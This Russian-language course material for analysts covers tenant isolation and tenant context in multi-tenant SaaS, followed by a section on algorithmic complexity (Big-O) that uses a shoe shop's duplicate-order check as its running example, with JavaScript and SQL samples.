глава 3 · выбор модель изоляции под клиента: цена и риски
Одной модели на всех не бывает. Обычно у SaaS две-три «полки»: большинство в пуле, кому нужно — отдельно. Решение принимают по клиенту, а не по вкусу архитектора.
1 · Жёсткое требование
Есть ли у клиента «данные отдельно», свои ключи, своё окно обновлений, требования регулятора? Это отсекает дешёвые варианты сразу.
2 · Нагрузка
Будут ли его пики мешать соседям, а соседи — ему? Шумному соседу нужна своя ячейка или жёсткие лимиты.
3 · Деньги и скорость
Окупает ли выручка клиента его модель? Нужно ли подключить его сегодня? Берите самую дешёвую модель, которая закрывает требования.
Подберите модель каждому из четырёх клиентов
Нажимайте на модели — ниже появятся цена для платформы и что получит клиент. Когда выберете всем, нажмите «Проверить выбор». Подобрано верно: 0 из 4.
глава 4 · контекст клиента откуда сервис узнаёт, чей это запрос
🔑 Из входа, не из тела
Клиент — из токена, который выдал наш сервер входа. Не из поля tenantId в теле, не из параметра в адресе. Поддомен fitlite.slot.app подсказывает страницу входа, но после входа решает токен.
🗄 В каждой таблице
tenant_id в каждой строке, первым полем в индексах и уникальных ключах. Сверху — защита в самой базе: политика строк не отдаст чужие строки, даже если в запросе забыли фильтр.
⚡ В ключе кеша
t:{клиент}:schedule:{клуб}:{дата}. Номера клубов у клиентов пересекаются: у каждого есть «клуб 1».
📨 В очереди
Сообщение несёт метку клиента. Обработчик ставит контекст перед работой и сбрасывает после.
🔭 В журналах и метриках
Без метки не разобрать жалобу клиента, не найти шумного соседа и не выставить счёт по расходу.
🚦 В лимитах
Запросы в секунду, тяжёлые отчёты, место на диске — свой лимит у каждого клиента.
// ✕ клиент из тела запроса: подставь чужой — получишь чужое const tenant = req.body.tenantId; // ✓ клиент из проверенного токена входа const tenant = req.auth.claims.tenant_id; -- защита в базе (PostgreSQL): политика строк по контексту соединения ALTER TABLE bookings ENABLE ROW LEVEL SECURITY; CREATE POLICY by_tenant ON bookings USING (tenant_id = current_setting('app.tenant')::uuid); -- в каждой транзакции: SET LOCAL живёт только до её конца BEGIN; SET LOCAL app.tenant = '…'; INSERT INTO bookings …; COMMIT;
Интерактив: путь записи на занятие с меткой клиента
Сравните два пути одного запроса: правильный и тот, где сервис взял клиента из тела запроса.
Где живёт метка клиента
Выберите правильный ответ. Ошиблись — прочитайте, почему, и попробуйте другой. Решено 0 из 0.
глава 5 · шумный сосед один клиент не должен съедать ресурсы всех
Унять шумного соседа и уложиться в бюджет
Четыре клиента в одном пуле. Цель: в понедельник в 7:00, когда «Фитнес-Лайт» открывает запись (запросов в 20 раз больше), и во время годового отчёта «Клиники» остальные клиенты должны получать ответ за p95 ≤ 500 мс с ошибками не больше 1 %. Бюджет на изменения — не больше +30 % к счёту за серверы. Включайте меры, запускайте события, потом нажмите «Проверить решение».
Полоса — время ответа p95: пунктир — цель 500 мс, вся полоса — 3 секунды и больше.
Интерактив: кто устроил пик — видно только с меткой клиента
Дежурный видит график запросов к платформе в понедельник утром. Переключите график на разбивку по клиентам.
Счёт по клиенту
Та же метка в метриках раскладывает расход платформы по клиентам. Ниже — месяц «Слота».
глава 6 · утечки где данные клиентов перемешиваются
Утечки между клиентами почти никогда не выглядят как взлом. Это забытая метка в одном месте: в ключе кеша, в общей выгрузке, в соединении, которое вернулось в пул с чужим контекстом. Поэтому их ищут, проходя путь данных целиком.
Найдите в описании «Слота» места, где данные клиентов перемешаются
Это двенадцать строк из документа архитектуры «Слота». Нажмите на каждую строку, где данные одного клиента могут попасть к другому, и нажмите «Проверить».
глава 7 · итог чек-лист мультиарендной системы
- Для каждого класса клиентов выбрана модель изоляции, и записано, когда клиент переезжает в свою схему, ячейку или установку.
- Клиент берётся из входа; в теле запроса его нет, а если есть — сверяется с токеном.
- Метка клиента есть в каждой таблице, ключе кеша, сообщении, журнале, файле и индексе поиска.
- База сама не отдаёт чужие строки: политика строк или своя схема.
- Лимиты на клиента: запросы, тяжёлые отчёты, место; тяжёлое — в отдельной очереди.
- Метрики и расход видны по клиенту; счёт за серверы можно разложить.
- Доступ поддержки — личный, по заявке клиента, на время и с журналом аудита.
- Известен радиус аварии: что пострадает при отказе базы, при плохой выкатке, при ядовитом запросе.
tenant_id в токене входа. Лимит по умолчанию — 300 запросов в секунду на клиента; не больше двух тяжёлых отчётов одновременно. В одной ячейке — не больше 50 клиентов.Скорость программы зависит не столько от сервера, сколько от того, как растёт её работа, когда растут данные. Функция, которая на тестовых 100 строках отвечает мгновенно, на 10 миллионах строк может думать неделю. Разберёмся, как это предсказать заранее — без высшей математики. Раздел проведёт одна история: проверка заказов в магазине кроссовок «Ботинок», которая «летала» на тесте и легла на проде.
зачем это зачем аналитику понимать O(1), O(log n) и O(n)
карта раздела одна история, четырнадцать глав
Главы идут по порядку: каждая опирается на предыдущую. Первые три — фундамент: что такое «сложность» и как её сравнивать. Главы 4–8 — каждый класс скорости по отдельности, от мгновенного до «не досчитается никогда». Дальше — как считать самому и как это применять в архитектуре и требованиях. Нажмите на главу, чтобы перейти к ней.
глава 1 · завязка на тесте летало, на проде легло: история одной проверки
Начнём с трёх слов, без которых дальше никак.
Хроника одной функции
Магазин кроссовок «Ботинок». Иногда покупатель жмёт «Оформить» дважды, и появляются два одинаковых заказа. Разработчик Борис пишет ночную проверку: найти такие дубли. Аналитик Олег принимает задачу. Пройдите по шагам, что происходило с этой проверкой полтора года. Смотрите на две цифры: сколько заказов и сколько длится проверка.
Главное правило главы: считайте «во сколько раз»
Олег не знает, сколько секунд займёт проверка на новом сервере. Но он может ответить на другой вопрос — и этого почти всегда достаточно: если данных станет в 10 раз больше, во сколько раз вырастет работа? Ответ зависит только от алгоритма.
| Как растёт работа | Данных ×10 — работы… | Пример |
|---|---|---|
| O(1) — константа | столько же | взять корзину Анны по ключу |
| O(log n) — логарифм | на 3–4 шага больше | найти заказ по номеру через индекс |
| O(n) — линейная | в 10 раз больше | прочитать всю таблицу заказов |
| O(n log n) | в 11–13 раз больше | отсортировать заказы по дате |
| O(n²) — квадратичная | в 100 раз больше | сравнить каждый заказ с каждым |
| O(2ⁿ) — экспонента | возводится в 10-ю степень | перебрать все комбинации скидок |
глава 2 · язык что такое O-большое простыми словами
Разработчики записывают форму роста коротко: O(n), O(n²), O(log n). Разберём, что стоит за этой записью и почему в ней нет ни секунд, ни мелких чисел.
O(n²) значит: «работа растёт примерно как квадрат размера данных». Буква O — от слова «order», порядок величины.Шаг 1. Считаем не секунды, а шаги
Секунды зависят от всего подряд: от процессора, языка, нагрузки на сервер, от того, что ещё запущено рядом. Одна и та же программа на ноутбуке и на сервере работает разное время. А вот число шагов — свойство самого алгоритма.
Чтобы переводить шаги во время, в этом разделе мы условно считаем: компьютер делает 100 миллионов шагов в секунду (10⁸). Реальный процессор выполняет простые команды быстрее, но один «шаг» алгоритма обычно стоит десятки команд и обращений к памяти. Для прикидки порядка величины — «миллисекунды или часы?» — это честная середина.
Шаг 2. Отбрасываем множители
Если алгоритм делает 3n шагов, пишут O(n). Если n / 2 — тоже O(n). Почему можно выбросить тройку? Потому что множитель не меняет форму роста: данных ×10 — работы ×10, что с тройкой, что без. Тройка — это как «сервер в три раза медленнее»: неприятно, но предсказуемо и одинаково при любом n.
Шаг 3. Отбрасываем младшие слагаемые
Допустим, программа делает 3n² + 50n + 1000 шагов: сравнивает пары (3n²), потом один раз проходит по данным (50n) и тратит 1 000 шагов на подготовку. Пишут просто O(n²). Покрутите n и посмотрите, почему так можно: на маленьких данных главное — подготовка, на больших всё решает старшее слагаемое.
O(n² + n) пишут как O(n²), а O(5 log n + 7) — как O(log n).Шаг 4. Худший, средний и лучший случай
Один и тот же алгоритм на разных данных работает по-разному. Ищем заказ перебором: если он первый в списке — повезло, 1 шаг. Если последний или его нет вовсе — n шагов. Поэтому различают три случая.
🍀 Лучший случай
Самые удобные данные. Перебор нашёл заказ с первой попытки: 1 шаг. Почти бесполезная оценка: на удачу не проектируют.
⚖️ Средний случай
Типичные данные. Заказ где-то в середине: около n / 2 шагов — всё равно O(n). Хорош для оценки общей нагрузки.
🔥 Худший случай
Самые неудобные данные. Заказа нет — прошли все n. Именно его обычно и имеют в виду под «сложностью».
| Алгоритм | Лучший | Средний | Худший | Когда наступает худший |
|---|---|---|---|---|
| Перебор списка | O(1) | O(n) | O(n) | элемента нет или он последний |
| Хеш-таблица, поиск по ключу | O(1) | O(1) | O(n) | все ключи попали в одну «корзину» (глава 10) |
| Быстрая сортировка (quicksort) | O(n log n) | O(n log n) | O(n²) | раз за разом неудачно выбран «опорный» элемент |
| Сортировка слиянием (merge sort) | O(n log n) | O(n log n) | O(n log n) | не бывает — гарантия |
| Бинарный поиск | O(1) | O(log n) | O(log n) | элемента нет |
Шаг 5. Амортизированная сложность: дорого, но редко
Ровно так устроен динамический массив — обычный список в JavaScript, ArrayList в Java, list в Python. Под него заранее выделено место (ёмкость). Пока место есть, добавление в конец стоит 1 шаг. Когда место кончилось — выделяется новое, больше в 1,5–2 раза, и все элементы копируются: n шагов. Добавляйте элементы и следите за средней ценой.
глава 3 · гонка гонка алгоритмов: все классы на одном графике
Теперь выпустим все основные классы на одну трассу. По горизонтали — размер данных n. По вертикали — число шагов. Справа — сколько шагов и сколько времени нужно каждому классу при выбранном n, если компьютер делает 10⁸ шагов в секунду.
Большая таблица: сколько шагов и сколько времени
Та же гонка в цифрах — для четырёх размеров данных. Зелёное — меньше десятой доли секунды (пользователь не заметит), жёлтое — до минуты (терпимо для фоновой задачи), красное — дольше.
глава 4 · O(1) константа: одинаково быстро при любом объёме
Как это работает
У всех O(1)-операций один секрет: место данных вычисляется, а не ищется. Программа не спрашивает «где лежит нужное?», она сразу знает адрес.
📦 Элемент массива по номеру
Массив лежит в памяти подряд. Адрес элемента № k = начало массива + k × размер элемента. Одно умножение и одно сложение — при любой длине массива.
🔑 Хеш-таблица по ключу
Из ключа («anna») специальная функция считает число — хеш. Остаток от деления хеша на число корзин — номер корзины. Идём прямо в неё. В среднем там одна-две записи.
📚 Верх стопки, начало очереди
Взять верхнюю тарелку из стопки (стек) или первого человека из очереди — не нужно смотреть на остальных. Всегда 1 шаг.
// все три строки — O(1): время не зависит от длины массива и размера таблицы
const third = orders[2]; // элемент по номеру: адрес вычисляется
const cart = carts.get('anna'); // хеш-таблица (Map) по ключу
const first = queue.shift(); // ⚠ а вот это НЕ O(1) для обычного массива JS:
// сдвиг сдвигает все остальные элементы → O(n)
queue.shift() у массива JavaScript сдвигает все элементы на одну позицию влево — это O(n). list.includes(x), indexOf, x in список в Python — тоже перебор, O(n). Настоящая очередь с O(1) с обоих концов — это отдельная структура (например, ArrayDeque в Java, deque в Python).O(1) в «Ботинке»
cart:anna. Команда GET cart:anna — O(1): у магазина может быть 10 или 10 миллионов покупателей, время одинаковое.Не всё в Redis — O(1)
Redis часто называют «быстрым, потому что всё O(1)». Это неправда, и ошибка дорого стоит: Redis выполняет команды по одной, и медленная команда задерживает всех остальных клиентов. Сложность каждой команды указана в официальной документации. Нажмите на строку — будет пояснение.
O(1) — не значит «мгновенно»
Константа бывает большой
Запрос в Redis по сети — O(1), но это 0,2–1 мс на дорогу туда и обратно. Сложение двух чисел в памяти — тоже O(1), но это наносекунды. Разница — в тысячи раз. O(1) говорит «не растёт с n», а не «ничего не стоит».
«В среднем» — не «всегда»
Хеш-таблица даёт O(1) в среднем. Иногда она перестраивается (амортизированная сложность из главы 2), а при плохой хеш-функции скатывается в O(n). Подробно — в главе 10.
глава 5 · O(log n) логарифм: каждый шаг отбрасывает половину
Почему log₂ 1 000 000 ≈ 20
Удвойте 1 двадцать раз: 2, 4, 8, 16, 32, 64, 128, 256, 512, 1 024 (10 удвоений ≈ тысяча), и ещё десять раз — 1 048 576 (20 удвоений ≈ миллион). Значит, миллион можно поделить пополам 20 раз. Удобное правило: каждые ×1000 данных — это +10 шагов.
| n | 2 | 8 | 100 | 1 000 | 1 млн | 10 млн | 1 млрд |
|---|---|---|---|---|---|---|---|
| log₂ n — делений пополам | 1 | 3 | ≈ 7 | ≈ 10 | ≈ 20 | ≈ 23–24 | ≈ 30 |
Бинарный поиск — главный пример
function binarySearch(sorted, x) { // sorted — массив по возрастанию
let lo = 0, hi = sorted.length - 1; // ищем между lo и hi
while (lo <= hi) { // пока есть где искать
const mid = Math.floor((lo + hi) / 2);// середина
if (sorted[mid] === x) return mid; // нашли
if (sorted[mid] < x) lo = mid + 1; // искомое правее — выбрасываем левую половину
else hi = mid - 1; // искомое левее — выбрасываем правую
}
return -1; // нет такого
}
// каждый круг цикла делит область поиска пополам → не больше log₂ n + 1 кругов
Живой эксперимент: перебор против бинарного поиска
Слева и справа — один и тот же массив номеров заказов, отсортированный по возрастанию. Ищем один номер двумя способами. Перебор проверяет ячейки по очереди слева направо. Бинарный поиск смотрит в середину и выбрасывает половину. Каждый такт каждый способ делает одно сравнение. Нажмите «▶ Гонка» или идите по одному такту.
🐌 Перебор — O(n)
🚀 Бинарный поиск — O(log n)
Где ещё живёт O(log n)
TreeMap в Java и std::map в C++. Поиск, вставка и удаление — O(log n).🗂 Индекс в базе
Найти заказ по номеру среди 10 млн — около 24 сравнений по дереву индекса. Как это устроено на диске — следующая глава.
🏆 Рейтинг в Redis
«Отсортированное множество» Redis (sorted set) — например, топ покупателей по сумме. Добавить или обновить — O(log n).
⏰ Очередь задач по времени
«Отправить письмо через 3 часа». Планировщик держит задачи в куче или дереве: добавить задачу и достать ближайшую — O(log n).
Кратко: O(√n) — корень из n
// «прыжковый» поиск (jump search) в отсортированном массиве: O(√n) const step = Math.floor(Math.sqrt(a.length)); let i = 0; while (i < a.length && a[i] < x) i += step; // прыгаем блоками по √n → √n прыжков for (let j = Math.max(0, i - step); j <= Math.min(i, a.length - 1); j++) if (a[j] === x) return j; // идём пешком внутри блока → ещё √n шагов return -1;
В повседневной архитектуре O(√n) встречается редко: бинарный поиск почти всегда лучше. Но класс полезно знать — он стоит между логарифмом и линейным перебором.
глава 6 · дерево индекса почему базе хватает 4 чтений, чтобы найти строку среди миллиарда
В разделе «Базы данных» мы видели: чтобы найти строку среди 10 млн, индексу нужно около 24 шагов — каждый отбрасывает половину. Это правда, если считать сравнения. Но в базе дороже всего не сравнение, а чтение страницы с диска: сравнение стоит наносекунды, чтение с SSD — десятки микросекунд, с жёсткого диска — миллисекунды. Если бы каждое из 24 сравнений требовало отдельного чтения, поиск был бы медленным. Поэтому индексы устроены хитрее.
Почему уровней так мало
Каждый уровень B-дерева делит оставшиеся данные не на 2, а на число ветвления — скажем, на 500. Поэтому высота дерева — это логарифм по основанию 500: сколько раз n можно поделить на 500, пока не останется одна страница.
| Строк в таблице | Двоичное дерево (ветвление 2) | B-дерево (ветвление ~500) |
|---|---|---|
| 1 млн | ≈ 20 уровней | 3 уровня (500 × 500 × 500 = 125 млн с запасом) |
| 10 млн | ≈ 24 уровня | 3 уровня |
| 1 млрд | ≈ 30 уровней | 4 уровня |
Сравнений внутри страницы по-прежнему много: база ищет нужный ключ среди 500 бинарным поиском — около 9 сравнений. 3 уровня × 9 ≈ 27 сравнений, то есть те же «около 24–27 шагов» из раздела «Базы данных». Изменилось другое: эти шаги сгруппированы в 3 чтения страниц вместо 24. Сложность та же — O(log n), но основание логарифма огромное, и константа (цена чтения) делится почти в 8 раз.
Живая модель: спуск по индексу
Выберите размер таблицы и ветвление. Нажмите «🔎 Найти заказ» — и база спустится от корня к листу. Каждая подсвеченная страница — одно чтение.
Нажмите «🔎 Найти заказ»
Чем за это платим и что ещё умеет B+дерево
📏 Диапазоны — O(log n + k)
«Заказы с 1 по 15 марта»: база спускается к первому ключу (log n), а дальше идёт по цепочке листьев вправо и читает k подходящих записей. Хеш-индекс так не умеет — он знает только «равно».
✍️ Вставка — тоже O(log n)
Новый ключ надо положить в нужный лист. Если лист полон, он делится пополам, и в родителя добавляется ещё один указатель. Поэтому каждый индекс замедляет запись — ровно это разбиралось в разделе «Базы данных».
глава 7 · O(n) и O(n log n) перебор и сортировка: честная работа, которая растёт вместе с данными
// сумма всех заказов за день — O(n): один проход let total = 0; for (const o of orders) total += o.sum; // n шагов // найти заказ по email перебором — тоже O(n) const found = orders.find(o => o.email === 'anna@mail.ru');
O(n) в «Ботинке» и в базе
🐌 Seq Scan — последовательное чтение
Запрос WHERE email = '…' без индекса: база читает таблицу целиком и сравнивает email в каждой строке. В плане запроса это видно как Seq Scan. 10 млн строк — это секунды и гигабайты чтения.
🔍 Поиск «по любой части слова»
WHERE name LIKE '%кросс%': обычный индекс отсортирован по началу строки, а начало неизвестно. Остаётся перебор — O(n). Нужен особый индекс (триграммный, полнотекстовый) или поисковая база.
🔢 Сколько всего страниц?
«Показано 1–20 из 9 834 211»: чтобы узнать точное число, COUNT(*) в PostgreSQL обходит все подходящие строки (или весь индекс). Это O(n) на каждый показ страницы.
📤 Выгрузка «всех заказов в Excel»
Здесь O(n) неизбежно: нужно выдать каждую строку. Вопрос не в сложности, а в том, чтобы делать это в фоне, частями, а не в ответ на нажатие кнопки.
Какие сортировки бывают
| Сортировка | Время | Доп. память | Где встречается |
|---|---|---|---|
| Слиянием (merge sort) | O(n log n) всегда | O(n) | основа внешней сортировки в базах, когда данные не влезают в память |
| Быстрая (quicksort) | O(n log n) в среднем, O(n²) в худшем | O(log n) | сортировка в памяти в базах; числа в Java (двухопорная версия) |
| Timsort | O(n log n), на почти отсортированных — почти O(n) | O(n) | sort в Python, в JavaScript (движок V8), объекты в Java |
| Пирамидальная (heapsort) | O(n log n) всегда | O(1) | там, где нужна гарантия без лишней памяти; «первые k» в базах |
| Пузырьком (bubble sort) | O(n²) | O(1) | только в учебниках — и в самописном коде, где ему не место |
Почему сортировать сравнениями быстрее, чем за n log n, нельзя
Это одно из немногих мест, где в информатике есть доказанный «потолок». Рассуждение простое. У n разных элементов есть n! (эн-факториал: 1 × 2 × 3 × … × n) возможных порядков. Сортировка должна понять, какой из них перед ней. Каждое сравнение «a меньше b?» даёт ответ «да» или «нет» — то есть в лучшем случае отсекает половину вариантов. Значит, нужно не меньше log₂(n!) сравнений, а это примерно n · log₂ n.
ORDER BY без индекса
Запрос SELECT … ORDER BY created_at, а индекса по created_at нет. База читает все подходящие строки (O(n)) и сортирует их (O(n log n)). Если данные помещаются в отведённую память (в PostgreSQL это настройка work_mem, по умолчанию 4 МБ), в плане будет Sort Method: quicksort. Если нет — external merge Disk: …: база сортирует кусками на диске и сливает их. Тот же O(n log n), но с дисковым вводом-выводом — в разы медленнее.
Если же есть индекс по created_at, сортировать не надо: B+дерево уже хранит ключи по порядку, и база просто идёт по листьям. А запрос с LIMIT 20 и без индекса база выполнит «сортировкой первых k» (в плане — top-N heapsort): держит в памяти кучу из 20 лучших строк. Это O(n log k) — дешевле полной сортировки, но всё равно читается вся таблица.
Живой эксперимент: пузырёк против слияния
Два одинаковых перемешанных набора столбиков. Слева сортирует пузырёк — O(n²): сравнивает соседей и меняет их местами, проход за проходом. Справа — слияние, O(n log n): делит и сливает. Каждый такт каждая сортировка делает одинаковое число сравнений. Жёлтым подсвечены элементы, которые сравниваются прямо сейчас.
🫧 Пузырёк — O(n²)
🔀 Слияние — O(n log n)
глава 8 · катастрофа O(n²), O(2ⁿ), O(n!): где программа перестаёт заканчиваться
// «для каждого заказа найти покупателя перебором» — O(n · m)
for (const order of orders) { // n заказов
const buyer = customers.find(c => c.id === order.customerId); // m покупателей
order.buyerName = buyer.name;
}
// 100 тыс. заказов × 1 млн покупателей = до 10¹¹ сравнений ≈ до 17 минут
// то же самое за O(n + m): сначала словарь, потом один проход
const byId = new Map(customers.map(c => [c.id, c])); // m шагов
for (const order of orders) order.buyerName = byId.get(order.customerId).name; // n шагов
// 1,1 млн шагов ≈ 0,01 с
Где прячется квадрат
🔁 Цикл в цикле
Самый заметный вариант: сравнить каждый с каждым, найти дубли, найти «похожие товары» попарным сравнением. Проверка дублей Бориса из главы 1 — ровно этот случай.
🙈 Скрытый цикл
if (!seen.includes(id)) seen.push(id) внутри цикла. includes перебирает массив, значит, весь код — O(n²). Замена массива на Set делает его O(n).
🌐 N+1 в худшем виде
Для каждого из n заказов на странице код делает отдельный запрос в базу за покупателем. Уже это — n сетевых поездок. А если у таблицы покупателей нет индекса, каждый из этих запросов ещё и перебирает всю таблицу: n × m.
🫧 Самописная сортировка
«Отсортирую сам, тут же немного» — и получается пузырёк или сортировка вставками, O(n²). Встроенная сортировка языка — O(n log n) и уже отлажена.
Пример из «Ботинка». Маркетинг просит: «подобрать покупателю самую выгодную комбинацию скидок». У магазина 30 акций, каждая либо применяется, либо нет. Честный перебор — 2³⁰ ≈ 1 млрд комбинаций, около 10 секунд на одну корзину. Добавили 10 акций — 2⁴⁰ ≈ 1 трлн, три часа. Ещё 20 — 2⁶⁰, это сотни лет.
| Адресов | Маршрутов (n!) | Перебор при 10⁸ маршрутов в секунду |
|---|---|---|
| 5 | 120 | 1,2 мкс |
| 10 | 3 628 800 | 0,04 с |
| 13 | 6,2 млрд | ≈ 1 минута |
| 15 | 1,3 трлн | ≈ 3,6 часа |
| 20 | 2,4 · 10¹⁸ | ≈ 770 лет |
| 26 | 4 · 10²⁶ | дольше, чем существует Вселенная (≈ 13,8 млрд лет) |
Калькулятор катастрофы
Подвигайте ползунки. Первый — число акций, из которых подбирается комбинация (2ⁿ). Второй — число адресов курьера (n!). Скорость — 10⁸ вариантов в секунду.
глава 9 · посчитайте сами как оценить сложность по коду: восемь правил и восемь разборов
Сложность можно оценить, не запуская программу. Нужно смотреть на циклы и вызовы, а обычные строки почти игнорировать. Вот правила, которых хватает в 95 % случаев.
Алгоритм оценки за четыре шага
find, includes, sort, запрос в базу).Всё остальное — O(1), его можно не считать.Тренировка: какая здесь сложность?
Сначала попробуйте сами: выберите ответ для каждого фрагмента. Везде n — число заказов, m — число покупателей. Решено 0 из 0.
Пошаговый разбор
Теперь посмотрите, как рассуждает опытный разработчик. Выберите фрагмент и идите по шагам: подсвечиваются строки, о которых идёт речь.
глава 10 · память и структуры память — тоже сложность, а структура данных решает, что будет быстрым
Когда Борис чинил проверку дублей, он заменил вложенный цикл на хеш-множество. Время упало с недели до долей секунды. Но бесплатно ничего не бывает: множество с 10 млн «отпечатков» заказов занимает в памяти сотни мегабайт. Это тоже сложность — только по памяти.
O(1) дополнительной памяти
Сумма, максимум, счётчик — несколько переменных, сколько бы ни было данных. Пирамидальная сортировка сортирует «на месте». Бинарный поиск хранит только lo и hi.
O(n) дополнительной памяти
Копия списка, словарь «id → покупатель», множество уже встреченных заказов, сортировка слиянием (нужен второй массив той же длины). Загрузка всей таблицы в память «чтобы быстрее обработать».
Главный компромисс: платим местом — получаем скорость
Почти все приёмы ускорения в архитектуре — это обмен памяти или диска на время. Заранее что-то посчитали и сохранили — потом не считаем.
| Приём | Чем платим (место) | Что получаем (время) |
|---|---|---|
| Индекс в базе | отдельное дерево на диске, часто сопоставимое с таблицей; замедление записи | поиск O(log n) вместо O(n) |
| Кеш (Redis, память сервиса) | копия данных в памяти; риск устаревания | O(1) по ключу вместо похода в базу |
| Словарь (Map, Set) в коде | O(n) памяти | поиск O(1) вместо O(n); O(n²) → O(n) |
| Готовые итоги (материализованное представление, счётчики) | хранить и обновлять посчитанное | отчёт O(1) вместо пересчёта O(n) на каждый показ |
| Денормализация (имя покупателя прямо в заказе) | дублирование данных; обновлять в двух местах | нет соединения таблиц при чтении |
Структуры данных: у каждой свой набор быстрых операций
Выберите структуру: как она устроена, на что похожа в жизни и где встречается в системах.
Шпаргалка: сложность операций
Нажмите на строку — появится пояснение.
Живая модель: хеш-таблица изнутри
Хеш-таблица — сердце кешей, словарей, сессий и соединений таблиц в базе. Посмотрим, откуда берётся её O(1) и как оно ломается. Ключ превращается в число (хеш), остаток от деления на число корзин — номер корзины. Вставляйте ключи, ищите их, включите «сломанную» хеш-функцию.
HashMap превращается в дерево — и худший случай смягчается до O(log n).Потренируйтесь: какую структуру взять?
Решено 0 из 0.
глава 11 · архитектура сложность в архитектуре: индексы, соединения, пагинация, шарды, лента
Всё, что мы разобрали на коде, в точности повторяется на уровне систем. Базы данных, брокеры, кеши и балансировщики внутри — это те же массивы, деревья и хеш-таблицы. Разберём шесть мест, где O-большое напрямую решает судьбу архитектуры.
1. Индексы: O(n) против O(log n)
Самое частое применение. Без индекса запрос — перебор таблицы (Seq Scan, O(n)). С индексом — спуск по B+дереву (Index Scan, O(log n)). На 10 млн строк это секунды против долей миллисекунды. Как узнать, что выбрала база, — смотреть план запроса.
2. Соединение таблиц (JOIN): три алгоритма
Запрос «заказы вместе с именами покупателей» — это соединение двух таблиц. База умеет делать его тремя способами, и сложность у них очень разная. Какой выбрать, решает планировщик запросов — по оценке размеров таблиц и наличию индексов.
🔁 Вложенные циклы (nested loop)
Для каждой строки первой таблицы ищем пару во второй. Без индекса — перебор: O(n · m). С индексом по ключу второй таблицы — спуск по дереву: O(n · log m). Отлично, когда строк в первой таблице мало.
#️⃣ Хеш-соединение (hash join)
Меньшую таблицу раскладываем в хеш-таблицу по ключу (m шагов), потом одним проходом по большой ищем пару за O(1) (n шагов). Итого O(n + m), но нужна память под хеш-таблицу.
🔀 Слияние (merge join)
Обе таблицы сортируем по ключу и идём по ним параллельно, как при слиянии двух стопок. Если уже отсортированы (например, есть индексы) — O(n + m), иначе — O(n log n + m log m) на сортировку.
JOIN-калькулятор. Задайте размеры таблиц — посмотрите, сколько операций потребует каждый способ и что выбрал бы разумный планировщик.
work_mem (по умолчанию 4 МБ, и её часто увеличивают). Если хеш-таблица не помещается, база делит данные на пачки и пишет их во временные файлы на диске: сложность та же, но медленнее. Реальный планировщик учитывает ещё и чтение с диска, поэтому цифры — ориентир, а не прогноз.3. Пагинация: OFFSET против «ключа-закладки»
LIMIT 20 OFFSET 20000). Пагинация по ключу (keyset, её ещё называют курсорной): «дай 20 строк, у которых номер больше последнего, что ты уже показал» (WHERE id > 88213 LIMIT 20).Главная неожиданность: база не умеет «перепрыгнуть» OFFSET. Чтобы пропустить 20 000 строк, она читает их все и выбрасывает. Поэтому OFFSET — O(offset + limit): чем дальше страница, тем дольше. Ключ-закладка — спуск по индексу к нужному ключу, O(log n + limit), одинаково быстро на первой и на миллионной странице. Таблица — 10 млн заказов, по 20 на странице.
ORDER BY created_at, id). Зато кроме скорости есть бонус: если пока пользователь листает, появились новые заказы, OFFSET сдвигает страницы, и строки дублируются или пропадают, а закладка — нет. Бесконечная лента и кнопка «Показать ещё» — идеальные случаи для закладки. В API её обычно отдают клиенту как непрозрачный «курсор».4. Согласованное хеширование: сколько ключей переедет
Кеш «Ботинка» разложен по нескольким серверам. Какой ключ где лежит, считают по хешу ключа. Простой способ — остаток от деления хеша на число серверов: O(1) и равномерно. Но стоит добавить сервер, как делитель меняется, и почти все ключи оказываются «не на своём» сервере: кеш разом пустеет, и вся нагрузка падает на базу.
5. Лента новостей: раздача при записи или сборка при чтении
Допустим, у «Ботинка» появились блогеры-обувщики, и у каждого покупателя есть лента постов тех, на кого он подписан. Есть два способа её строить, и у них разная сложность.
📮 Раздача при записи (fan-out on write)
Когда автор публикует пост, система сразу кладёт его в готовую ленту каждого подписчика. Запись — O(подписчиков), чтение ленты — O(1): лента уже собрана.
🧺 Сборка при чтении (fan-out on read)
Пост пишется один раз. Когда покупатель открывает ленту, система собирает последние посты всех, на кого он подписан, и сливает их по времени. Запись — O(1), чтение — O(подписок) на каждое открытие.
6. Шардирование и «поиск по любой части слова»
🧩 Запрос с ключом шарда — O(1) до шарда
Заказы разрезаны на 16 шардов по customer_id. «Заказы Анны» — хеш от её id сразу говорит, в какой шард идти: один шард, дальше обычный индекс, O(log n).
📣 Запрос без ключа шарда — во все
«Заказы с артикулом X» — шард неизвестен. Приходится спросить все 16 (разослать и собрать, scatter-gather): работа растёт с числом шардов, а ответ ждёт самого медленного. Добавили шардов «для масштаба» — такие запросы стали дороже.
🔍 LIKE '%кросс%' — O(n)
Обычный индекс бесполезен: он упорядочен по началу строки. Каждая строка поиска на сайте — полный перебор таблицы товаров. Решение — триграммный индекс (в PostgreSQL — расширение pg_trgm), полнотекстовый поиск или отдельная поисковая база.
🧮 Отчёт «за всё время» — O(n) и растёт
Каждый месяц отчёт на 5 % медленнее, потому что данных больше. Лечат готовыми итогами по месяцам: прошлые месяцы не меняются, их считают один раз.
глава 12 · когда O не главное константы, кеш процессора и сеть: где O-большое молчит
O-большое честно отвечает на вопрос «как растёт». Но оно сознательно выбрасывает множители и мелочи — а в жизни они иногда решают всё. Вот четыре случая, когда смотреть только на O опасно.
1. Константа бывает огромной
Алгоритм A делает 1000 · n шагов — это O(n). Алгоритм B делает n · log₂ n — это O(n log n), «хуже». Но log₂ n превысит 1 000 только при n = 2¹⁰⁰⁰ — таких данных во Вселенной нет. На любых реальных объёмах «худший» B быстрее. O-большое сравнивает формы роста, а не реальные программы.
2. Маленькие n
На 10–20 элементах простой алгоритм с «плохой» сложностью часто быстрее сложного: у него меньше накладных расходов. Поэтому Timsort (сортировка Python и JavaScript) внутри сортирует короткие куски вставками — алгоритмом O(n²), — а уже потом сливает их. Для короткого списка из 30 пунктов меню выбирать структуру «по O» бессмысленно.
3. Кеш процессора: одинаковое O, разное время
Пройти по массиву и по связному списку — оба O(n). Но массив лежит в памяти подряд: процессор загружает соседние элементы одним куском и заранее подтягивает следующий. Узлы списка разбросаны по памяти, и почти каждый переход — промах мимо кеша, ~100 нс вместо ~1 нс. На практике проход по массиву бывает в несколько раз, а то и в десятки раз быстрее, хотя «по O» они равны.
4. Сеть и диск дороже процессора — на порядки
Ниже — «числа, которые полезно знать». Это порядки величин, а не точные значения: они зависят от железа и меняются год от года. Переключите масштаб, чтобы почувствовать разницу.
Калькулятор: N+1 против одного запроса
глава 13 · аналитику как этим пользоваться: объёмы, вопросы разработчикам, НФТ, ловушки
